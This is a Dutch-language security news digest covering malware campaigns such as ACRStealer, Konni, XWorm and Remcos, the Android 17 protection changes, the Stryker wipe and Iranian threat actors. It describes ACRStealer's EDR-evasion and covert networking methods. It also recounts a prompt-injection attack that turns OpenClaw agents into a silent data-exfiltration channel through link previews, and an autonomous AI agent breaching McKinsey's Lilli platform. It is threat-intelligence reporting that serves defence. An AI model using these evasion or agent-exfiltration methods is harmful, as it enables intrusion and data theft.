De ontwikkelaar heeft ook extra functies onthuld die gepland staan voor de volgende versie van Betterleaks, zoals ondersteuning voor extra gegevensbronnen buiten Git-repositories en bestanden, LLM-ondersteunde analyse voor betere geheime classificatie, meer detectiefilters, automatische intrekking van geheimen via provider-API's, rechtenmapping en prestatieoptimalisaties. Rice benadrukte dat de ontwerpfilosofie van Betterleaks een mensgerichte aanpak combineert met aanpassing voor AI-agent workflows, inclusief CLI-functies die zijn geoptimaliseerd voor geautomatiseerde tools die AI-gegenereerde code scannen. Het project gebruikt de open-source MIT-licentie en wordt onderhouden door drie extra personen naast Rice, waaronder contributors van de Royal Bank of Canada, Red Hat en Amazon.

Bron: GitHub | Bron 2: aikido.dev | Bron 3: hubs.li

Google test een nieuwe beveiligingsfunctie als onderdeel van Android Advanced Protection Mode (AAPM) die bepaalde soorten apps verhindert de accessibility services API te gebruiken. Deze wijziging, opgenomen in Android 17 Beta 2, werd vorige week voor het eerst gerapporteerd door Android Authority.

AAPM werd door Google geïntroduceerd in Android 16, uitgebracht in 2025. Indien ingeschakeld, zorgt dit ervoor dat het apparaat in een verhoogde beveiligingsstatus komt om te beschermen tegen geavanceerde cyberaanvallen. Net als Apple's Lockdown Mode, prioriteert de opt-in functie beveiliging ten koste van verminderde functionaliteit en bruikbaarheid om zo het aanvalsoppervlak te minimaliseren.

Enkele van de belangrijkste configuraties omvatten het blokkeren van app-installatie van onbekende bronnen, het beperken van USB-dataseinen en het verplicht stellen van Google Play Protect-scans. Ontwikkelaars kunnen integreren met deze functie met behulp van de AdvancedProtectionManager API om de status van de modus te detecteren, waardoor applicaties automatisch een versterkte beveiligingspositie kunnen innemen of functionaliteit met een hoog risico kunnen beperken wanneer een gebruiker zich heeft aangemeld, aldus Google in de documentatie over de functies van Android 17.

De nieuwste beperking die is toegevoegd aan de one-tap beveiligingsinstelling is bedoeld om te voorkomen dat apps die niet zijn geclassificeerd als toegankelijkheidstools, de accessibility services API van het besturingssysteem kunnen gebruiken. Geverifieerde toegankelijkheidstools, geïdentificeerd door de isAccessibilityTool="true" vlag, zijn vrijgesteld van deze regel.

Volgens Google worden alleen schermlezers, switch-gebaseerde invoersystemen, spraakgestuurde invoertools en Braille-gebaseerde toegangsprogramma's aangemerkt als toegankelijkheidstools. Antivirussoftware, automatiseringstools, assistenten, monitoring-apps, cleaners, wachtwoordbeheerders en launchers vallen niet onder deze categorie. Hoewel AccessibilityService zijn legitieme use cases heeft, zoals het helpen van gebruikers met een handicap bij het gebruik van Android-apparaten en apps, is de API de afgelopen jaren uitgebreid misbruikt door kwaadwillenden om gevoelige gegevens te stelen van gecompromitteerde Android-apparaten.

Met de nieuwste wijziging worden de privileges van elke niet-toegankelijke app die al de toestemming heeft automatisch ingetrokken wanneer AAPM actief is. Gebruikers kunnen apps ook geen toestemming geven voor de API, tenzij de instelling is uitgeschakeld. Android 17 wordt ook geleverd met een nieuwe contactenkiezer waarmee app-ontwikkelaars alleen de velden kunnen specificeren die ze willen openen vanuit de contactenlijst van een gebruiker (bijv. telefoonnummers of e-mailadressen) of gebruikers in staat stellen bepaalde contacten te selecteren met een app van derden. Dit geeft uw app alleen leestoegang tot de geselecteerde gegevens, waardoor een gedetailleerde controle wordt gegarandeerd en een consistente gebruikerservaring wordt geboden met ingebouwde zoek-, profielschakel- en multiselectiemogelijkheden zonder de UI te hoeven bouwen of onderhouden, aldus Google.

Bron: developer.android.com | Bron 2: androidauthority.com | Bron 3: thn.news

Een nieuwe variant van ACRStealer is opgedoken met verbeterde mogelijkheden waardoor deze aanzienlijk moeilijker te detecteren en gevaarlijker is voor de systemen die het aanvalt. Deze nieuwste versie, die voor het eerst in begin 2025 door Proofpoint werd gerapporteerd als een hernoemde versie van de Amatera Stealer, introduceert low-level syscall-ontwijking, gecodeerde C2-communicatie via TLS en de mogelijkheid om secundaire payloads af te leveren. Deze combinatie markeert een duidelijke stap voorwaarts in de ontwikkeling van de malware en wijst op een actief onderhouden dreiging.

ACRStealer wordt verkocht als een Malware-as-a-Service (MaaS), wat betekent dat het wordt verhuurd aan meerdere dreigingsactoren voor gebruik in hun eigen campagnes. In deze nieuwste operatie komt het aan als een laatste payload die wordt geleverd via HijackLoader, een geavanceerde loader die is gekoppeld aan het PiviGames-distributieplatform. De aanval begint wanneer gebruikers op gamingplatforms zoals Steam, Discord of Reddit worden misleid om een kwaadaardige link (hxxps://pivigames..blog/adbuho) te bezoeken, die hen door een omleidingsketen leidt voordat een ZIP-archief wordt gedropt dat de malware bevat, vermomd als een legitieme software-installer.

Analisten van G Data identificeerden deze bijgewerkte ACRStealer-variant tijdens een vervolgonderzoek naar HijackLoader-activiteit en noteerden belangrijke verschillen met eerdere versies. Waar eerdere versies vertrouwden op een Dead Drop Resolver (DDR) om C2-serveradressen te verbergen, maakt dit sample verbinding met zijn command infrastructuur met behulp van native Windows-kernelinterfaces en gecodeerde kanalen, waardoor een detectiepunt wordt verwijderd waarop veel security tools eerder vertrouwden. Hun analyse bevestigde actieve infecties in de Verenigde Staten, Mongolië en Duitsland, waarbij alle samples terugcommuniceerden naar het C2-adres 157..180..40..106.

Het data-stelende bereik van deze variant is breed. Het richt zich op browsercredentials, sessiecookies en inloggegevens van meerdere browsers, en gaat op unieke wijze achter Steam gaming account credentials aan, een exfiltratiedoel dat niet eerder is waargenomen in ACRStealer-campagnes. Gestolen data wordt weggeschreven naar een hardcoded bestand met de naam d5e48e78-2951-4117-b806-e4f8e626f28c.txt voordat het naar de C2-server wordt verzonden. De malware voert ook volledige systeemfingerprinting uit, waarbij machine GUID, gebruikersnaam, architectuur, locale en bouwtijd worden vastgelegd, alles wordt gecomprimeerd tot een in-memory ZIP-archief met een maximum van 40 MB vóór de uiteindelijke verzending.

Dezelfde delivery infrastructuur is begin 2026 ook waargenomen bij het pushen van LummaStealer, waarbij de PiviGames-keten nu omleidt naar een Mega cloud download met een enkel uitvoerbaar bestand met de naam Setup.exe, dat dit keer LummaStealer in plaats van ACRStealer implementeert. Deze rotatie bevestigt dat de dreigingsgroep actief zijn uiteindelijke payload verwisselt zonder zijn distributieketen opnieuw op te bouwen, waardoor de operatie flexibel is en moeilijk te verstoren met payload-specifieke detectie alleen.

Het meest technisch opvallende aspect van deze variant is hoe het detectie op API-niveau vermijdt. In plaats van te vertrouwen op standaard Win32 API's die endpoint tools routinematig monitoren, lokaliseert het ntdll.dll via de Process Environment Block (PEB) en parset handmatig de Export Address Table (EAT) om de functies op te lossen die het nodig heeft, met behulp van een aangepast djb2 hash algoritme dat ook wordt waargenomen in HijackLoader. Systeemoproepen worden vervolgens uitgevoerd via de WoW64-overgangspoort, waardoor ze op kernelniveau worden gerouteerd en de user-mode hooks worden omzeild waar de meeste security producten van afhankelijk zijn.

Aan de netwerkzijde vermijdt ACRStealer de standaard Winsock-bibliotheek volledig. Het construeert handmatig een AFD endpoint pad en opent het via NtCreateFile, waardoor een raw TCP IPv4-socket wordt gebouwd zonder ws2_32.socket te importeren. Eenmaal verbonden met de C2-server op poort 443, voltooit de malware een TLS-handshake via Microsofts SSPI-framework, met behulp van de hardcoded hostname playtogga..com om zijn verkeer te laten lijken op normale HTTPS-activiteit en langs netwerkinspectie tools te blenden. Na de handshake worden data verzonden in plaintext of AES-256 gecodeerde vorm, afhankelijk van een runtime configuratievlag. Als de C2-server onbereikbaar wordt, wacht de malware twee seconden en probeert het automatisch opnieuw, waardoor het basisveerkracht krijgt.

Security teams wordt geadviseerd om te controleren op ongebruikelijk low-level API-gebruik, waaronder NtCreateFile en AFD-gebaseerde netwerkverbindingen, de bekende C2-indicatoren 157..180..40..106 en playtogga..com te blokkeren en gedragsdetectie in te schakelen voor process hollowing via rundll32.exe. Gebruikers dienen te vermijden bestanden te downloaden van ongeverifieerde links die worden gedeeld op gamingplatforms of sociale media.

Bron: G Data

De dreigingsgroep Konni APT is betrapt op een meerstaps aanvalscampagne die begint met gerichte spear-phishing e-mails en eindigt met het kapen van KakaoTalk-accounts van slachtoffers om malware verder te verspreiden. De campagne werd ontdekt na een forensisch onderzoek van een gecompromitteerd systeem. De aanval maakt gebruik van Noord-Koreaanse mensenrechten thema's om doelwitten te misleiden.

De aanval begint met e-mails die eruitzien als officiële mededelingen waarin ontvangers worden benoemd tot docenten Noord-Koreaanse mensenrechten. De berichten zijn ontworpen om relevant te zijn voor de professionele interesses van het doelwit. De e-mail bevat een archief met een kwaadaardig LNK-shortcutbestand vermomd met een standaard documenticoon. Wanneer de ontvanger erop klikt, start het bestand stilletjes een PowerShell-script op de achtergrond, dat verbinding maakt met een externe command-and-control server en extra malware downloadt op de machine van het slachtoffer.

Na een eerste voet aan de grond te hebben gekregen, blijft de aanvaller verborgen op het geïnfecteerde systeem en verzamelt interne documenten, gebruikersaccountgegevens en systeemomgevingsgegevens. Dit geeft de groep voldoende gelegenheid om bruikbare informatie te verzamelen voordat de aanval wordt geëscaleerd. De aanvaller krijgt ongeautoriseerde toegang tot de KakaoTalk PC-applicatie van het slachtoffer, die al op de geïnfecteerde machine draait. Met behulp van de contactenlijst van het slachtoffer selecteert de aanvaller specifieke vrienden en stuurt hen een kwaadaardig bestand vermomd als een planningsdocument voor Noord-Korea gerelateerde video-inhoud. Dit maakt van het oorspronkelijke slachtoffer een vertrouwd afleverpunt voor malware.

De campagne omvat ook de inzet van drie afzonderlijke remote access tools: EndRAT, RftRAT en RemcosRAT, die allemaal worden geleverd als AutoIt-gebaseerde scripts vermomd als documentbestanden. C2-servers die verbinding maken met de operatie zijn getraceerd naar locaties in Finland, Japan en Nederland.

Het kwaadaardige LNK-bestand in deze aanval start een 32-bit PowerShell-proces via cmd.exe, met behulp van het SysWOW64 directory pad. Het PowerShell-script lokaliseert het LNK-bestand door een specifieke bestandsgrootte te matchen. Het script leest een groot datablok dat is ingesloten in het LNK-bestand vanaf een vaste offset en decodeert het met behulp van een single-byte XOR-sleutel. Het gedecodeerde resultaat is een decoy PDF die opent voor de gebruiker. Het LNK-bestand verwijdert zichzelf onmiddellijk na uitvoering van de schijf. Twee bestanden worden vervolgens gedownload van het C2-domein: een legitieme AutoIt-interpreter en een gecompileerd kwaadaardig AutoIt-script. Er wordt een geplande taak gemaakt om elke minuut gedurende 365 dagen uit te voeren.

Organisaties en individuen zouden archiefbijlagen met LNK-shortcutbestanden moeten inspecteren of in quarantaine moeten plaatsen voordat ze eindgebruikers bereiken. Implementeer EDR-oplossingen die abnormale procesketens kunnen detecteren na LNK-uitvoering, inclusief het genereren van PowerShell en het registreren van geplande taken. Monitor messaging-applicaties op endpoints voor ongebruikelijke of omvangrijke bestandsoverdrachtactiviteiten. Train gebruikers om bestandstypen te bevestigen voordat ze ze openen en om verdachte bijlagen te melden. Blokkeer uitgaand verkeer naar ongeautoriseerde domeinen en IP-adressen.

Bron: Genians

Securityvalidatie in complexe organisaties is vaak gefragmenteerd, met tools die niet met elkaar communiceren. Aanvallers daarentegen opereren niet in silo's en combineren verschillende zwakke punten in een enkele aanval. De opkomst van autonome AI-agents biedt een oplossing door middel van 'Agentic Exposure Validation', een gecoördineerde en autonome validatie die beter aansluit bij moderne bedreigingen.

Moderne securityvalidatie omvat drie perspectieven: het 'adversarial perspective' (hoe kan een aanvaller binnendringen?), het 'defensive perspective' (kunnen we ze stoppen?) en het 'risk perspective' (maakt deze exposure echt uit?). De convergentie van deze perspectieven is essentieel voor een uniforme validatiediscipline.

Agentic AI neemt de volledige taak op zich, van planning tot uitvoering en evaluatie, zonder menselijke tussenkomst bij elke stap. Dit kan de reactietijd op kritieke bedreigingen verkorten van dagen of weken tot minuten. Het is echter cruciaal dat agentic systemen kunnen redeneren over de omgeving. Een unified security data layer is essentieel om context te bieden en agentic validatie nuttig te maken. Deze 'Security Data Fabric' bestaat uit drie dimensies: 'Asset Intelligence' (volledige inventaris van de omgeving), 'Exposure Intelligence' (kwetsbaarheden en misconfiguraties) en 'Security Control Effectiveness' (effectiviteit van security controls).

Zonder deze data fabric zijn agentic systemen beperkt tot generieke resultaten. Organisaties moeten zich richten op het creëren van een unified security data layer om de belofte van agentic AI in securityvalidatie te realiseren.

Bron: beyondtrust.com | Bron 2: picussecurity.com | Bron 3: hubs.li

Google bereidt de lancering voor van Android 17, een update met nieuwe API's en systeemmogelijkheden om de beveiliging, privacy en prestaties van apparaten te verbeteren. Een van de belangrijkste nieuwe functies is de Android Advanced Protection Mode (AAPM), die gebruikers beschermt tegen cyberaanvallen en de uitvoering van kwaadaardige services blokkeert.

AAPM is bedoeld voor gebruikers met een hoog risico, zoals journalisten, activisten en bedrijfsleiders die vaak het doelwit zijn van geavanceerde bedreigingen. Deze modus biedt een opt-in set van beveiligingsregels die met één instelling kan worden geactiveerd. Hierdoor wordt de beveiliging van het hele besturingssysteem versterkt en het aanvalsoppervlak verkleind.

Eenmaal ingeschakeld, dwingt AAPM strikte systeemregels af om zowel gangbare als geavanceerde aanvalsmethoden te dwarsbomen. De belangrijkste configuraties blokkeren de installatie van applicaties uit onbekende bronnen, waardoor sideloading wordt voorkomen. Dit voorkomt dat aanvallers gebruikers misleiden om kwaadaardige, niet-geverifieerde APK's buiten de Google Play Store te installeren.

Verder beperkt AAPM USB-datasignalen, waardoor het apparaat wordt beschermd tegen fysieke aanvallen, zoals "juice jacking" bij openbare laadstations of kwaadaardige data-extractie via ongeautoriseerde computerverbindingen. De modus vereist ook continue Google Play Protect-scans, zodat alle applicaties actief worden gecontroleerd op rogue achtergrondservices, spyware of kwaadaardig gedrag.

Android 17 introduceert de nieuwe AdvancedProtectionManager API, waarmee app-ontwikkelaars kunnen detecteren of een gebruiker deze high-security modus heeft ingeschakeld. Door de status van de modus te lezen, kunnen applicaties hun eigen gedrag automatisch aanpassen om een versterkte beveiligingshouding aan te nemen. Een bank- of communicatie-app kan bijvoorbeeld dynamisch risicovolle functionaliteit beperken, gevoelige data-exports uitschakelen of extra biometrische authenticatie vereisen wanneer het detecteert dat het apparaat onder AAPM werkt.

Naast AAPM neemt Android 17 stappen om privacyrisico's te beperken en het debuggen van het systeem te verbeteren. De update introduceert een gestandaardiseerde Android Contact Picker, die een privacyvriendelijk alternatief biedt voor de brede READ_CONTACTS-toestemming. In plaats van een app toegang te geven tot een volledig adresboek, kunnen gebruikers nu specifieke contactvelden selecteren en delen, zoals een telefoonnummer of e-mailadres, waardoor ongeautoriseerde dataverzameling wordt verminderd.

Daarnaast biedt de release ontwikkelaars nieuwe tools om prestatieproblemen op te sporen die soms kunnen wijzen op kwaadaardige activiteit. Nieuwe systeemtriggers voor de ProfilingManager, zoals die voor het volgen van overmatig CPU-gebruik of out-of-memory errors, stellen ontwikkelaars in staat om gedetailleerde trace data te verzamelen. Samen met uitgebreide JobDebugInfo API's die vertraagde achtergrondtaken monitoren, helpen deze tools bij het identificeren van rogue apps die buitensporige resources verbruiken.

Voor geavanceerde connectiviteit en hardware tracking implementeert Android 17 ook optimalisaties voor beperkte satellietnetwerken en introduceert de UWB Downlink-TDoA API. Deze technologie stelt applicaties in staat om hun exacte positie ten opzichte van meerdere ankers te bepalen door signaalaankomsttijden te meten, beveiligd door configureerbare Out-of-Band (OOB) sessieparameters.

Bron: Google

Aanvallers kunnen misbruik maken van onveilige standaardinstellingen en promptinjectie-kwetsbaarheden in OpenClaw AI-agents om normaal agentgedrag om te zetten in een stille data-exfiltratiepijplijn. Het probleem is niet alleen het verwarren van het AI model, maar het manipuleren van de agent om gevoelige informatie te stelen zonder dat gebruikersinteractie nodig is.

Securitybedrijf PromptArmor heeft aangetoond hoe een aanvaller een OpenClaw-agent kan dwingen data te lekken met behulp van indirecte promptinjectie in combinatie met functies van messaging-apps. Een aanvaller kan kwaadaardige instructies verbergen in content die de AI-agent moet lezen. De agent verwerkt de instructies en genereert een URL die door de aanvaller wordt beheerd. De agent voegt gevoelige data, zoals API keys of privéconversaties, toe aan de query parameters van de URL. Vervolgens stuurt de agent de kwaadaardige link terug naar de gebruiker via messaging platforms zoals Telegram of Discord.

Nog voordat de gebruiker op de link klikt, genereert de messaging-app automatisch een link preview, waardoor de URL stilletjes wordt opgehaald en de gevoelige data rechtstreeks aan de aanvaller wordt overhandigd. Omdat de auto-preview functie van de messaging-app automatisch een uitgaand HTTP-verzoek activeert, ontstaat er een gevaarlijke "no-click" aanval. Het antwoord van de agent zelf wordt het exfiltratie-event.

Volgens CNCERT vormt de standaard beveiligingshouding van OpenClaw een aanzienlijk bedrijfsrisico doordat agents kunnen browsen, taken kunnen uitvoeren of met lokale bestanden kunnen communiceren. CNCERT categoriseert bedreigingen in vier hoofdgebieden: indirecte promptinjectie via externe data, onbedoelde destructieve acties, kwaadaardige activiteiten van derden en de exploitatie van bekende productkwetsbaarheden.

OpenClaw is nuttig omdat het echt werk kan verrichten, maar deze autonomie maakt compromissen schadelijker. Messaging integraties waar auto-preview gedrag naadloze paden creëert voor data diefstal, host en container toegang die promptmanipulatie toestaat om te vertalen naar real-world systeemacties, een skills ecosysteem waar niet-geverifieerde of kwaadaardige extensies het aanvalsoppervlak drastisch kunnen vergroten en nabijheid van opgeslagen geheimen, aangezien agents vaak in de buurt van operationele credentials en tokens opereren.

Securityteams moeten dit probleem beschouwen als een architecturale fout en de volgende stappen implementeren om implementaties te beschermen: Schakel auto-preview functies uit in Telegram, Discord, Slack en andere kanalen waar AI-agents URL's genereren. Isoleer OpenClaw runtimes binnen strak gecontroleerde containers en houd de standaard managementpoorten uit het publieke internet. Beperk onnodige toegang tot het bestandssysteem en houd credentials uit plaintext configuratiebestanden. Installeer agent skills alleen van vertrouwde bronnen en beoordeel handmatig de code van derden voordat u deze inschakelt. Zet network monitoring op om te waarschuwen voor door agents gegenereerde links die verwijzen naar onbekende domeinen of onverwachte DNS-lookups.

Bron: PromptArmor | Bron 2: invaders.ie

Nieuw onderzoek van Trellix onthult dat hackers steeds vaker fileless malware-aanvallen uitvoeren op bedrijven en organisaties. Deze malware verbergt zich in het tijdelijke geheugen van de computer, waardoor de meeste standaard beveiligingssoftware wordt omzeild.

Een van de gevaarlijkste tools die Trellix identificeerde, is XWorm 7.1, een Remote Access Trojan (RAT) die wordt aangeboden als malware-as-a-service (MaaS). XWorm geeft hackers volledige controle over de machine van een slachtoffer. Ook XWorm 7.2 wordt op marketplaces verkocht met als doel bedrijven aan te vallen. De beschikbaarheid en mogelijkheden van XWorm hebben ertoe geleid dat onderzoekers deze dreiging hebben bestempeld als de "commodity king" van de underground, met een toename van het gebruik met 174% in het afgelopen jaar.

In een recente campagne gericht op een netwerkbeveiligingsbedrijf in Taiwan, gebruikten hackers een ernstige kwetsbaarheid in WinRAR (CVE-2025-8088) om binnen te dringen. Ze verspreidden kwaadaardige archieven op Discord, vermomd als onschuldige game mods. Zodra een gebruiker deze bestanden opende, voerde de malware, XWorm, een Living off the Land-aanval uit door een vertrouwd Microsoft-hulpprogramma genaamd Aspnet_compiler.exe te kapen om zijn code uit te voeren. Omdat het virus in het geheugen van de computer blijft en nooit naar de schijf wordt geschreven, omzeilt het gemakkelijk oudere beveiligingstools.

Een tweede rapport beschrijft een multi-stage aanval met behulp van de Remcos RAT. Deze campagne begint met e-mails met een "procurement"-thema, zoals "request for quotation" lokmiddelen, om industriële of maritieme bedrijven na te bootsen. Als een slachtoffer het bijgevoegde ZIP-bestand opent en op de JavaScript daarin klikt, activeert dit een complexe keten van gebeurtenissen die leidt tot process hollowing of de Cuckoo Strategy. Onderzoekers geloven dat dit een slinkse zet is waarbij de malware een vertrouwd Windows-proces creëert en vervolgens de inhoud van dat proces vervangt door het virus. In dit geval wordt ook het bestand aspnet_compiler.exe gebruikt om zich te verbergen. Zodra het Remcos-virus in het geheugen draait, begint het met zijn surveillancewerk; het kan elke toetsaanslag registreren, je scherm bekijken en zelfs je webcam inschakelen. De malware slaat deze gestolen gegevens op in een verborgen logbestand in je tijdelijke map voordat het via een specifieke verbinding op poort 7003 terug naar de server van de hacker wordt gestuurd.

Om veilig te blijven, suggereren onderzoekers dat de beste verdediging proactief updaten is. Omdat deze aanvallen afhankelijk zijn van verouderde software, is het essentieel om WinRAR onmiddellijk bij te werken naar versie 7.13 of hoger. Omdat hackers steeds beter worden in het gebruiken van onze eigen vertrouwde programma's tegen ons, is het belangrijker dan ooit om alert te blijven op verdachte e-mails met een zakelijk thema.

Trellix concludeert dat organisaties, om hun verdediging tegen deze dreigingen te versterken, het misbruik van native tools moeten beperken, least-privilege access moeten afdwingen en detectie moeten implementeren die geheugen- en scriptuitvoering inspecteert.

HackRead: https://hackread.com/xworm-7-1-remcos-rat-windows-tools-evade-detection/

Bron: Trellix

Onderzoekers van het beveiligingsbedrijf CodeWall hebben met een autonome AI agent binnen twee uur ingebroken in het interne AI platform van consultancygigant McKinsey. De agent kreeg volledige lees- en schrijftoegang tot Lilli, het generatieve AI platform dat McKinsey in juli 2023 lanceerde en dat door meer dan 40.000 medewerkers (72 procent van het personeel) wordt gebruikt voor meer dan 500.000 prompts per maand.

Tijdens de test kreeg de AI agent toegang tot 46,5 miljoen chatberichten over onderwerpen als bedrijfsstrategie, fusies en overnames en klantprojecten. Daarnaast werden 728.000 bestanden met vertrouwelijke klantgegevens, 57.000 gebruikersaccounts en 95 systeemprompts die het gedrag van de AI aansturen buitgemaakt. De agent had zelfs de kerninstallaties van de chatbot kunnen herschrijven nadat een SQL injectie kwetsbaarheid werd gevonden.

Opvallend is dat de AI agent van CodeWall zelf McKinsey als doelwit selecteerde, op basis van het openbare responsible disclosure beleid van het bedrijf en recente updates aan Lilli. Het volledige proces, van doelwitselectie tot volledige toegang, verliep autonoom zonder menselijke tussenkomst.

McKinsey reageerde snel na melding van de bevindingen. Binnen enkele uren werden alle niet-geauthenticeerde endpoints gepatcht, de ontwikkelomgeving offline gehaald en de openbare API documentatie geblokkeerd. Een woordvoerder van McKinsey bevestigde dat alle geidentificeerde problemen binnen enkele uren na melding waren opgelost.

De onderzoekers benadrukken dat deze test aantoont hoe AI agents het dreigingslandschap fundamenteel veranderen. Waar voorheen een heel team van beveiligingsexperts nodig was voor dergelijke inbraken, kan een autonome agent nu in uren bereiken wat voorheen dagen of weken kostte. Dit maakt hacken aanzienlijk toegankelijker en vormt een nieuw wapen voor zowel beveiligingsonderzoekers als kwaadwillenden.

Bron: CodeWall | Bron 2: The Register

Het medische technologiebedrijf Stryker kampt nog steeds met problemen nadat een cyberaanval, die vermoedelijk duizenden bedrijfsapparaten van alle informatie heeft ontdaan, de elektronische bestelsystemen heeft platgelegd. Het Fortune 500-bedrijf, dat een breed scala aan digitale hulpmiddelen voor ziekenhuizen, medische noodapparatuur, disposables voor chirurgische ingrepen en implantaten voor heup-, knie- en schoudervervangingen produceert, ondervindt sinds afgelopen woensdag bedrijf brede technologische storingen die hebben geleid tot fabriekssluitingen en werkonderbrekingen op verschillende locaties wereldwijd.

In een update op zondagmiddag verklaarden functionarissen van Stryker dat, terwijl het bedrijf werkt aan het herstellen van de elektronische bestelsystemen, vertegenwoordigers rechtstreeks met klanten zullen samenwerken om de goederen handmatig aan te vullen. Orders die vóór de verstoring zijn geplaatst, zullen worden verwerkt zodra de systemen zijn hersteld. Elektronische orders die tijdens de verstoring zijn geplaatst, zullen worden verwerkt zodra de systemen weer online zijn en de levering normaal verloopt, aldus het bedrijf.

Stryker benadrukt dat alle verbonden digitale producten veilig zijn voor gebruik in zorginstellingen. Verschillende verklaringen die op vrijdag en zondag zijn vrijgegeven, suggereren dat het bedrijf veel vragen krijgt over de veiligheid van de software en hardware die in honderden ziekenhuizen over de hele wereld wordt gebruikt. De cyberaanval was beperkt tot de interne Microsoft-omgeving van Stryker en heeft geen van de producten beïnvloed. De verbonden bedden en brancards van Stryker zijn niet getroffen, omdat deze apparaten hun eigen beveiligingsprotocollen hebben en volledig onafhankelijk van het netwerk van Stryker werken.

Het bedrijf heeft bevestigd dat de Vocera Voice handsfree, spraakgestuurde communicatiesysteem en het Care.ai sensorsysteem, gebruikt in ziekenhuiskamers, niet zijn beïnvloed door de cyberaanval. Stryker's Surgical Visualization Platforms, de endoscopie-activiteiten, het chirurgische sponsmanagement systeem en andere producten kunnen tijdens operaties worden gebruikt. Daarnaast is het veilig voor Stryker-medewerkers om ter plaatse te zijn in ziekenhuizen en dat er geen gevaar is bij communicatie per telefoon of e-mail met het personeel van het bedrijf.

De aanval op Stryker werd opgeëist door een Iraanse groepering genaamd Handala, die beweert Stryker te hebben aangevallen vanwege de samenwerking met het Amerikaanse ministerie van Defensie. Stryker heeft niet bevestigd of het incident officieel aan Iraanse cyberactoren is toegeschreven. Vorige week meldde Stryker dat er geen ransomware of malware bij het incident betrokken was en dat alle apparaten met Microsoft Intune waren schoongeveegd.

Volgens incident responders van Cisco Talos is de aanval waarschijnlijk uitgevoerd door het compromitteren van administratieve accounts. Cisco Talos identificeerde honderden gelekte Stryker-inloggegevens op het dark web. De aanvallers kregen mogelijk toegang tot de Microsoft Intune beheerconsole van Stryker, waar ze de native remote wipe-functie van het platform gebruikten om aangesloten bedrijfsapparaten te resetten. Deze living-off-the-land (LOTL) techniek stelde de groep in staat om wijdverspreide vernieling en gegevensverlies te veroorzaken, mogelijk zonder de noodzaak van traditionele malware voor wiper.

Bron: Stryker | Bron 2: blog.talosintelligence.com | Bron 3: recordedfuture.com

Volgens onderzoek van Unit 42, het threat intelligence team van Palo Alto Networks, verschuiven cyberaanvallen van Iraanse actoren van traditionele netwerkverstoring naar het misbruiken van identiteiten. In plaats van geïsoleerde sabotage-incidenten, passen deze aanvallen in een breder patroon van asymmetrische vergelding en proxy-oorlogsvoering. Iraanse actoren beschouwen cyberspace als een strategische gelijkmaker. Het Islamitisch Revolutionair Garde Korps (IRGC) en het Ministerie van Inlichtingen en Veiligheid (MOIS) zetten cyberoperaties in als een goedkoop en effectief middel voor vergelding zonder geografische grenzen te overschrijden.

De huidige tactische verschuiving van Iraanse cyberactoren wordt minder gedreven door een gebrek aan capaciteit voor malware-ontwikkeling, maar meer door de strategische voordelen van "living-off-the-land" (LotL) technieken. Operaties die gericht zijn op verstoring, zijn sinds 2023 veranderd. In plaats van zwaar te leunen op op maat gemaakte tools, worden methoden gebruikt die schaalbaarder zijn en beter in staat tot ontwijking. Tijdens recente wiper-incidenten heeft de Void Manticore (Handala) persona geen nieuwe wiper of traditionele malware ingezet. In plaats daarvan compromitteerden de aanvallers geprivilegieerde identiteiten en verstuurden ze legitieme commando's voor het wissen van data naar meer dan 200.000 apparaten wereldwijd.

Iraanse APT's beschouwen enterprise administrative tools steeds vaker als wapens binnen een breder disruptief kader. Deze actoren zien MDM-platforms (mobile device management) niet alleen als beheertools, maar als aanvalsvectoren die traditionele endpoint detection and response (EDR) omzeilen.

Al in 2012 en 2016 lanceerden Iraanse actoren significante disruptieve operaties in de regio. Uit de geschiedenis van hun cybervergelding blijkt een duidelijk escalerend patroon van capaciteit en intentie gedurende het afgelopen decennium bij groepen die gelinkt zijn aan het IRGC en MOIS.

In de periode 2016-2019 richtten groepen zoals Curious Serpens (APT33, Elfin) en Evasive Serpens (APT34, OilRig) zich op IT-infrastructuren met disk-wiping malware. De heropleving van Shamoon toonde aan dat destructieve aanvallen een belangrijk onderdeel blijven van de Iraanse cyberdoctrine.

Bron: Unit 42 | Bron 2: mastodon.social | Bron 3: cfr.org

Cybercrimeinfo heeft een dreigingsalert ontdekt van Int. Cyber Digest waarin staat dat de private key voor *.myclaw.360.cn direct gebundeld was in het downloadpakket onder /namiclaw/components/OpenClaw/openclaw.7z/credentials. Het certificaat is geldig tot april 2027.

Dit stelt aanvallers in staat om de servers te imiteren, gebruikersverkeer te onderscheppen en valse inlogpagina's te maken.

Bron: Int. Cyber Digest

Unit 42 van Palo Alto Networks heeft een uitgebreide dreigingsanalyse gepubliceerd over de cyberespionagecampagnes van de dreigingsgroep Boggy Serpens, ook bekend als MuddyWater. Deze groep, die wordt toegeschreven aan het Iraanse Ministerie van Inlichtingen en Veiligheid (MOIS), richt zich consistent op diplomatieke en kritieke infrastructuren, waaronder de energie-, maritieme en financiële sector, in het Midden-Oosten en andere strategische doelen wereldwijd.

De analyse onthult een zeer aanpasbare dreigingsactor die zijn operationele strategie heeft verfijnd om zich te richten op compromissen via vertrouwde relaties en multi-wave targeting van belangrijke strategische organisaties. Social engineering blijft een kenmerkende eigenschap, maar de groep vergroot ook zijn technologische mogelijkheden. De diverse toolset omvat door AI aangestuurde malware-implantaten die anti-analyse technieken bevatten voor lange termijn persistentie.

Boggy Serpens maakt voornamelijk gebruik van gehijackte accounts om zijn aanvallen uit te voeren, waarbij high-profile slachtoffers zoals diplomaten en IT-leveranciers het doelwit zijn. Aanvallers misbruiken deze toegang om reputatie gebaseerde blokkades te omzeilen en gebruiken een secundaire social engineering prompt om malware te leveren. Een voorbeeld hiervan is een aanhoudende campagne tegen een nationaal marine- en energiebedrijf in de VAE, waarbij vier verschillende aanvalsgolven tussen augustus 2025 en februari 2026 werden waargenomen.

Om toegang te behouden, heeft de groep zijn ontwikkelingsaanpak verbeterd door gebruik te maken van AI-gegenereerde code en Rust-gebaseerde tools zoals de BlackBeard backdoor om snel aangepaste implantaten te implementeren. Daarnaast maakt de groep gebruik van standaard HTTP-statuscodes, aangepast UDP-gebaseerd verkeer en de Telegram API voor command and control (C2).

Bron: Unit 42 | Bron 2: cisa.gov | Bron 3: attack.mitre.org

De FBI onderzoekt een reeks games op Steam die mogelijk zijn gebruikt om malware te verspreiden en cryptocurrency wallets te plunderen. De Seattle Division van de FBI heeft een openbaar onderzoek ingesteld nadat was ontdekt dat verschillende games op Steam, die tussen mei 2024 en januari 2026 op het platform werden aangeboden, verborgen software bevatten. Deze software was ontworpen om op de achtergrond persoonlijke gegevens uit webbrowsers te verzamelen en cryptocurrency wallets leeg te halen.

